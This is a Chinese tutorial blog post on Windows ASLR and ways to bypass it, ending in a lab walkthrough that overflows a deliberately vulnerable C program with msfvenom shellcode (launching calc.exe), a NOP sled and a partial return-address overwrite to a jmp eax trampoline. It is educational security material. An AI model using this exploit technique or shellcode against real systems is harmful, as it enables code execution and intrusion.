zoukankan      html  css  js  c++  java
  • 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制

    ASLR简介

    微软在Windows Vista、2008 server、Windows 7、Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像的基址设置到1/256的random slot上, 同时将各个线程的堆栈和堆进行随机化。这需要程序和系统的双重支持, 但是程序的支持并不是一定的。可以使用如下注册表选项来使用或禁用 ASLR 之于所有的程序映像:

    Edit HKLMSYSTEMCurrentControlSetControlSession ManagerMemory Management and add a new key called “ MoveImages” (DWORD)。

    该键的可能取值如下:

    0 :永远不进行基于内存的映像基址随机化, 基地址的选择始终以可执行文件的PE头部指定的基址为准;

    -1 :随机化所有的可以重定位的程序映像, 无论它们是否在PE头部指定了IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标记。

    也可以在编写程序时使用/dynamicbase链接器选项来确定编写的程序是否使用该保护机制。微软从Visual Studio 2005开始加入了/dynamicbase链接选项, 选择该链接选项的程序会在生成的PE头中设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来说明其支持ASLR。

    实际分析中, 可以 使用 PE 工具查看 DllCharacteristics 域是否包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0× 40) , 或者使用ImmunityDebugger 的 !ASLRdynamicbase 命令, 查看当前调试会话中所有模块的 ASLR使能状态。

    ASLR工作原理:

    在Windows下, ASLR主要表现在三个方面:映像基址随机化、堆栈基址随机化和PEB/TEB随机化。

    1)映像基址随机化

    当可执行文件或动态链接库文件被映射到内存时, 系统会对其虚拟地址进行随机化。

    由于主要是对各模块载入内存的基地址进行随机化处理, 所以叫映像基址随机化。微软Windows系列操作系统的内存随机化使系统每次初始化过程中, 随机分配各个模块的基地址, 所以同一个模块在系统重启后, 其基地址是不同的。如下图所示是系统重启前后, Windbg加载同一个应用程序时显示的各模块基地址。可以看出, 系统重启后, 各模块的首地址是变化的。

     

    2)堆栈基址随机化

    程序在启动时, 系统会随机选择堆栈的基址, 从而导致内存中的各种变量地址发生变化。程序每次启动后, 其所占用的堆栈地址可能完全不同。与映像基址随机化在系统初始化的过程中随机加载不同, 堆栈基址随机化是在程序每次启动时实施的。下图所示是将同一个程序两次载入Windbg后, 其所占用的堆栈地址。

     

    3)PEB/TEB随机化

    进程环境块(Process Environment Block, PEB)和线程环境块(Thread Environment Block, TEB)随机化在Windows XP时代就已经引入系统中, 但是发展到Windows 8系统, PEB/TEB的随机化仍然做得不是很好。图3所示是Win7下Windbg两次加载同一进程所显示的PEB/TEB地址。

     

    ASLR绕过思路

    i.攻击未启用ASLR的模块:

    在未启用ASLR的模块中,找到固定的指令地址转入pyload执行。

    ii.Off by one 思想:

    因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。而在内存中, 地址是以Little-Endian的方式存储的, 所以理论上, 在一些情况下攻击者可以利用返回地址的部分覆盖来实施攻击。以32位系统的ASLR绕过为例, 覆盖EIP的高地址存储位置的2个字节, 可以完成可行的跳转。

    iii.利用堆喷技术定位内存地址:

    堆喷抢占内存之后,我们可以确定占领某一内存地址(例如0x0c0c0c0c0c)附近的内存,只要控制程序转入0x0c0c0c0c执行,经过若干个0x90滑行就到达payload执行就可以。

    iv.基于SharedUserData的方法

    从Windows NT 4到Windows 8, 内存地址0x7ffe0000处都是SharedUserData结构。在其偏移0x300处总是指向KiFastSystemCall函数, 而这个函数是在ntdll.dll中。也就是说, 只要攻击者有一次读取内存的机会, 就能获取ntdll的基址, 从而绕过ASLR保护。具体步骤如下:

    1)读取0x7ffe0300处的4字节数据, 即为KiFastSystemCall函数地址, 记为Address_K;

    2)使用IDA或Depends, 查找KiFastSystemCall函数在ntdll中的偏移, 从而计算出ntdll基址;

    3)通过相对偏移在ntdll中定位到所需要的指令地址, 从而绕过ASLR。

    下图是是32位Windows 7系统下KiFastSystemCall函数地址。

     

    通过覆盖部分地址绕过ASLR

    ⑴.  原理分析:

    通过覆盖部分地址绕过ASLR的思想,也就是上文绕过思路中提到的off by one思想。因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。所以可以通过覆盖后两个字节,在0x0000—0xFFFF的地址空间内寻找跳板,控制EIP,转入payload执行。

    ⑵.环境准备:

    i.实验代码:

    #include "stdafx.h"

    #include "stdlib.h"

     

    char shellcode[]=

    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"

    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"

    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"

    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"

    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"

    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"

    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"

    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"

    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"

    "x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"

    "x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"

    "x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"

    "x00x53xffxd5x63x61x6cx63x2ex65x78x65x00"

    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

    "x42x14"

    ;

    char * test()

    {

         char tt[256];

         memcpy(tt,shellcode,262);

         return tt;   

    }

    int _tmain(int argc, _TCHAR* argv[])

    {

         char temp[200];

         test();

         return 0;

    }

     

                       ii.测试环境:

                       测试平台:Windows 7 32位

                       编译器:visual 2008

                       编译环境:

                       关闭GS,DEP保护机制,开启ASLR保护机制。

                      

    ⑶.调试分析:

    i.缓冲区起始地址:保存在eax寄存器中

     

    ii.返回地址

    第一次运行:

                      

    重启后运行:

     

    可以看到,前两个字节(高地址)是不断会变化的,但是后两个字节(低地址位)是固定的。

    所以我们可以通过覆盖低地址位实现控制EIP。

    ⑷.攻击过程:

    i.确定跳板:

    第一,   payload起始地址小于返回地址,所以不能使用jmp esp这类地址,观察,寄存器eax保存有payload的起始地址,所以,我们只要在当前程序的指令空间里(因为能控制的只是当前程序随机地址化后的两个字节)找到jmp eax指令就可以控制EIP,跳入payload了。

    第二,   在程序指令空间查找jmp esp

    还是用之前用过的OllyFindAddr插件(或者直接搜索指令也可以),得到结果。

     

    这里,使用地址0xXXXX1442做为跳转地址。

     ii.生成payload:

    msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

    iii.构造shellcode:

    综上所述,shellcode结构如下:

     

    iv.攻击结果:

            

             成功。

  • 相关阅读:
    JS时间自动更新
    浏览器一般兼容问题
    实现笛卡尔心形线的重复循环绘制
    js判断是否为ie6以外的浏览器,若是,则调用相应脚本
    html+css+js实现标签页切换
    实现跨浏览器的背景渐变
    IE8支持HTML5的占位符placeholder
    JS打造的跟随鼠标移动的酷炫拓扑图案
    JS获取阴历阳历和星期
    svn up时提示跳过某节点
  • 原文地址:https://www.cnblogs.com/zhang293/p/9046651.html
Copyright © 2011-2022 走看看